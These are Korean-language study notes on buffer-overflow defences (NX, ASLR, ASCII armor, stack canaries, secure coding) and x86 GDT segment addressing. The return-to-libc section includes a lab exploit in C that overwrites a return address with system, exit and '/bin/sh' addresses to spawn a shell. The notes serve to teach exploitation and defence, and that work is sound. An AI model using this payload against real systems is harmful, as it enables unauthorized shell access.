시스템 보안 - BOF 대책

NX

💡

Privilege Checking이 있는데 NX 비트가 왜 필요한가?

Privilege Checking이 있는데 왜 쉘코드가 실행되었는가?

Privilege checking은 Segment Protection.

접근 권한만 제어할 뿐 R/W/X를 제어하는 것이 아니다.

또한 세그먼트 디스크립터(GDT Entry)에는 R/W에 대한 제어까지만 있기 때문에 실행을 막을 수 있는 방법은 아니다.

따라서 BoF에 취약했고, 이에 NX 비트가 도입되었다.

RTL

“NX? 그럼 쉘코드 안쓰고 실행할게”

여기도 /bin/sh 있는데?

system(char* command)

실습

argv 위치를 인자라고 간주하고, argc 위치를 복귀 주소라고 간주할거다.

따라서, argc 위치에 exit 주소를, argv 위치에 /bin/sh 주소를 넣어주면 되겠다.

이제 공격계획을 짜보자.

main 함수 실행 상태에서, 버퍼에 A를 12개 채우고,

system주소, exit 주소, /bin/sh주소를 넣어주면 되겠다.

1. /bin/sh 주소



라이브러리에서의 상대적 위치를 알아낸다. 0x001bd0d5



라이브러리 베이스 주소에 오프셋을 더한다. 0xf7c00000+0x001bd0d5 = 0xf7dbd0d5



0xf7dbd0d5 가 우리가 찾는 주소다.

2. system, exit 주소



각각 0xf7c48170, 0xf7c3a460 이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf[12 + sizeof(long) * 3 + 1] = "AAAAAAAAAAAA";
    long system = 0xf7c48170;
    long exit = 0xf7c3a460;
    long binsh = 0xf7dbd0d5;

    *((long *)(buf + 12)) = system;
    *((long *)(buf + 12 + sizeof(long))) = exit;
    *((long *)(buf + 12 + sizeof(long) * 2)) = binsh;
    buf[12 + sizeof(long) * 3] = '\0';
    execl("./취약.c.out", "취약.c.out", buf, NULL);
}

💡

GDB에서는 잘됐는데… 외않되?

GDB가 그 사이에 뭐 넣나보다. 그래서 ASLR이 꺼져있음에도 메모리 레이아웃이 달라져서 실패했다.

위에서 계산한 주소들에서 차이를 빼고 다시 시도해봐야겠다.

Ascii Armor

ELF Memory Protection - ASCII Armor

참고 : https://bpsecblog.wordpress.com/2016/05/16/memory_protect_linux_1/ ASCII-Armor이란? 직역하면 아스키 갑옷이라는 것으로 RTL 공격에 대응하기 위해 사용된다. RTL은 Return To Library의 약자이고, Return address에 libc내의 함수를 덮어씌워 쉘코드 없이 exploit하는 것이다. libc라는 공유라이브러리 내 함수로 리턴을 하여 프로그램의 실행 흐름을 조작하는 공격이기 때문에 운영체제에 ASCII-Armor 보호 기법이 적용되어있다면 공격자가 라이브러리를 호출하는 공격을 한다고 해도 NULL바이트가 삽입되므로 쉽게 exploit을 허용하지 않는다.

https://hackstoryadmin.tistory.com/entry/ELF-Memory-Protection-ASCII-Armor

How does ASCII-Armoring help to prevent buffer-overflow attacks?

I was reading about return-to-libc attacks at Wikipedia. According to what I read and understood from the article, ASCII armoring means that binary data is converted into ASCII values by grouping ...

https://security.stackexchange.com/questions/36462/how-does-ascii-armoring-help-to-prevent-buffer-overflow-attacks

ASLR

(load_elf_binary가 하겠죠?)

Canary

컴파일러 + OS 차원의 방어

💡

근데 얘도 exploit 가능 ㅋㅋ

canary 값의 주소는 %gs:0x14 에 있다.

그러면 사실 한 프로세스 내내 같은 값을 유지하는 것이 아닌가 하는 생각이 들었는데…

실제 스택 프레임마다 모두 동일한 카나리 값을 넣어놓은 것이 아니겠는가?

물론 스택 프레임마다 다른 카나리 값을 넣어두고 비교한다는게 말이 안되는 거긴 하니 이해한다.

그렇게 하려면 카나리 스택이 따로 있어야 할거고, 그마저도 금방 뚫릴거다.

야침차게 만든게 맨날 뚫리는게 좀 웃프다.

Secure Programming

strcpy(buffer,str);

gets(buffer);
scanf(”%s”, str);

strncpy(buffer, str, sizeof(buffer)-1); 
buffer[sizeof(buffer)-1] = 0;
fgets(buffer, sizeof(buffer) -1, stdin);
scanf(”%79s”, str);

char *buffer = "csec\n";
printf(buffer);
return 0;

char *buffer = "csec";
printf("%s\n", buffer);
return 0;

의문점

💡

GDT 해석하기

세그멘테이션 어드레싱을 해보자.

call *%gs:0x10 을 예로 들어보자.

CPU는 eip 기준으로 위 인스트럭션을 읽고 총 48비트를 대상으로 주소를 연산해야한다.

먼저 gs 세그먼트에 접근해보자.

세그먼트 레지스터(셀렉터)는 16비트인데, 이중 13비트는 인덱스, 1은 TI, 2는 RPL이다.

권한 체킹은 위에서 했으니까, 인덱스만 따져보자.

gs에 0x0033(=0000000000110011)이 들어있다고 하면, 이 중 인덱스는 13비트이므로, 0110 = 0x6다.

GDT에서 0x6번째 엔트리를 찾아보자.

GDTR에 0x000000007C00 이 들어있다고 가정하면 0x00007C00 이 Base Addr.

0x00007C00 + (0x6 * 8 =0x30) = 0x00007C30

이제 0x00007C30의 메모리를 읽으면 그것이 GDT 엔트리다.

해당 GDT 엔트리의 내용이 0x10CF9A000000FFFF 이라고 가정해보자.

= 00010000 11001111 10011010 00000000 00000000 00000000 11111111 11111111

= 0x10000000

이제 마침내 여기다가 %gs:0x10에서의 offset 0x10을 더하면 목적지다 😥

= 0x10000010

0x10000010에는 0x00145e37이 들어있다고 해보자.

그럼 dereferencing(*)에 의해 메모리를 참조해서 call 하므로, call *%gs:0x10 한 결과 마침내 PC가 0x00145e37로 이동한다.